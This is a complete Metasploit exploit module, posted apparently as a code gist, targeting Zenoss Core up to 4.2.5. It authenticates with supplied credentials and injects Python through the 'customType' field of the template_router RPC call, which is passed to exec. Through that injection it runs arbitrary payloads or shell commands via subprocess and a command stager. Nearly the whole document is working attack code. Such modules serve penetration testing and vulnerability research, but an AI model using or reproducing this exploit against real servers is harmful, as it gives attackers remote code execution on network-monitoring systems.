kernelsmith
9/17/2013 - 4:40 PM

Zenoss Custom Graph Point Python Injection

Zenoss Custom Graph Point Python Injection

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStagerBourne

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Zenoss Custom Graph Point Python Injection',
      'Description'    => %q{
        This module executes Python code on a Zenoss server as an
        authenticated user with the MANAGE_DMD privilege.  This privilege
        is by default associated with the "ZenManager" and "Manager"
        roles. It takes advantage of an unsanitized string which gets
        passed to the Python exec function.

        The vulnerability exists within the
        GraphDefinition.manage_addCustomGraphPoint method in Zenoss Core
        versions up to and including 4.2.5.
      },
      'Author'         => 'Spencer McIntyre',
      'License'        => MSF_LICENSE,
      'Platform'       => %w{ python linux },
      'Arch'           => [ ARCH_PYTHON, ARCH_X86, ARCH_X86_64 ],
      'References'     => [
        #[ 'CVE', '' ],
        #[ 'EDB', '' ],
        #[ 'URL', '' ],
      ],
      'DefaultOptions' =>
        {
          'PrependFork' => 'true',
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'           => 4096,
          'DisableNops'     => true,
        },
      'Targets'        =>
        [
          [ 'Python', { 'Platform' => 'python', 'Arch' => ARCH_PYTHON } ],
          [ 'Linux x86', { 'Platform' => 'linux', 'Arch' => ARCH_X86 } ],
          [ 'Linux x64', { 'Platform' => 'linux', 'Arch' => ARCH_X86_64 } ]
        ],
      'DefaultTarget'  => 0,
      'Privileged'     => true,
      'DisclosureDate' => 'Aug 28 2013'))

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]),
        OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]),
        OptString.new('TARGETURI', [ true,  'The path to zenoss', '/zport/' ]),
      ], self.class)
  end

  def execute_python(python)
    data = {
      'action' => 'TemplateRouter',
      'method' => 'addCustomToGraph',
      'data' => [{
        'graphUid' => '/zport/dmd/Devices/Server/SSH/Linux/rrdTemplates/Device/graphDefs/Free Swap',
        'customId' => rand_text_alphanumeric(4 + rand(6)),
        'customType' => "os; #{python}"
      }],
      'type' => 'rpc',
      'tid' => 111
    }

    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, 'dmd', 'template_router'),
      'ctype'     => 'application/json',
      'cookie'    => @cookies,
      'data'      => JSON.unparse(data)
    })
    if not (res and res.code == 200)
      fail_with(Failure::Unknown, 'Python execution failed')
    end

    unless res.body.include?('SyntaxError: invalid syntax')
      fail_with(Failure::Unknown, 'Python execution failed')
    end
  end

  def execute_command(cmd, opts = {})
    python = 'import subprocess; '
    python << "subprocess.Popen([\"/bin/sh\", \"-c\", \"#{cmd}\"], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE).wait(); "
    execute_python(python)
  end

  def exploit
    @uri = target_uri
    @uri.path = normalize_uri(@uri.path)
    @uri.path << "/" if @uri.path[-1, 1] != "/"

    print_status('Logging in...')
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => normalize_uri(@uri.path, 'acl_users', 'cookieAuthHelper', 'login'),
      'vars_post' =>
        {
          'submitted' => 'true',
          '__ac_name' => Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal'),
          '__ac_password' => Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')
        }
    })
    if not (res and res.code == 302)
      fail_with(Failure::NoAccess, 'Login failed')
    end
    @cookies = res.get_cookies

    case target['Arch']
    when ARCH_PYTHON
      print_status("Executing Python code")
      execute_python(payload.encoded)
    else
      print_status("Executing command stager")
      execute_cmdstager({:linemax => 350})
    end
  end
end